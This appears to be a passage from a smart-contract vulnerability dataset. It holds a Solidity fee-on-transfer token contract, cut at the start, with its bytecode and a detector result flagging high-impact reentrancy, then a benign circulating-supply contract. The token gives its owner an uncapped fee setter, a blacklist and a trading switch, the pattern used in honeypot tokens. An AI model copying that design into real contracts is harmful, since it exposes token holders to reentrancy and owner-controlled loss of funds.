inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b457600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600c81526b21b0ba3a32b9102a37b5b2b760a11b60208201525b60405161023c9190611a28565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a7d565b61069e565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa9565b6106b5565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611aea565b61071e565b34801561037057600080fd5b506101fc61037f366004611b17565b610769565b34801561039057600080fd5b506101fc6107b1565b3480156103a557600080fd5b506102c46103b4366004611aea565b6107fc565b3480156103c557600080fd5b506101fc61081e565b3480156103da57600080fd5b506101fc6103e9366004611b32565b610892565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611aea565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b17565b6108c1565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600681526521a0aa2a22a960d11b602082015261022f565b3480156104c057600080fd5b506101fc6104cf366004611b32565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b4b565b610938565b34801561050057600080fd5b5061026561050f366004611a7d565b610976565b34801561052057600080fd5b5061026561052f366004611aea565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b7d565b6109d7565b34801561058557600080fd5b506102c4610594366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b32565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611aea565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c3a565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c9b565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c3a565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c3a565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c3a565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c3a565b60005b82811015610a72578160056000868685818110610a2357610a23611c6f565b9050602002016020810190610a389190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c9b565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c3a565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611cb6565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611472565b600081848411156112155760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d66114a0565b90506112e283826114c3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138557600080fd5b505afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611ce5565b816001815181106113d0576113d0611c6f565b6001600160a01b0392831660209182029290920101526014546113f69130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d02565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147f5761147f611505565b61148a848484611533565b80610a7257610a72600e54600c55600f54600d55565b60008060006114ad61162a565b90925090506114bc82826114c3565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115155750600d54155b1561151c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154587611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157790876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a69086611737565b6001600160a01b0389166000908152600260205260409020556115c881611796565b6115d284836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164582826114c3565b82101561166157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a0565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117448385611cb6565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b60006117a06114a0565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007555050565b600080808061181e606461181889896118a9565b906114c3565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106af565b60006118c48385611d95565b9050826118d18583611d73565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e28161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e282611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b91506020830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e28161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bba8f7c4952061ea2416681074797d7958581085b2efee59132ab74bab73843c64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,408
0x9CbBbd552379d990e9FA57Fe01a69c9E10a5d80c
// SPDX-License-Identifier: MIT pragma solidity 0.7.5; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } /* * Expects percentage to be trailed by 00, */ function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } /* * Expects percentage to be trailed by 00, */ function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } /** * Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract GWSCirculatingSupplyContract { using SafeMath for uint; bool public isInitialized; address public GWS; address public owner; address[] public nonCirculatingGWSAddresses; constructor( address _owner ) { owner = _owner; } function initialize( address _gws ) external returns ( bool ) { require( msg.sender == owner, "caller is not owner" ); require( isInitialized == false ); GWS = _gws; isInitialized = true; return true; } function GWSCirculatingSupply() external view returns ( uint ) { uint _totalSupply = IERC20( GWS ).totalSupply(); uint _circulatingSupply = _totalSupply.sub( getNonCirculatingGWS() ); return _circulatingSupply; } function getNonCirculatingGWS() public view returns ( uint ) { uint _nonCirculatingGWS; for( uint i=0; i < nonCirculatingGWSAddresses.length; i = i.add( 1 ) ) { _nonCirculatingGWS = _nonCirculatingGWS.add( IERC20( GWS ).balanceOf( nonCirculatingGWSAddresses[i] ) ); } return _nonCirculatingGWS; } function setNonCirculatingGWSAddresses( address[] calldata _nonCirculatingAddresses ) external returns ( bool ) { require( msg.sender == owner, "Sender is not owner" ); nonCirculatingGWSAddresses = _nonCirculatingAddresses; return true; } function transferOwnership( address _owner ) external returns ( bool ) { require( msg.sender == owner, "Sender is not owner" ); owner = _owner; return true; } }
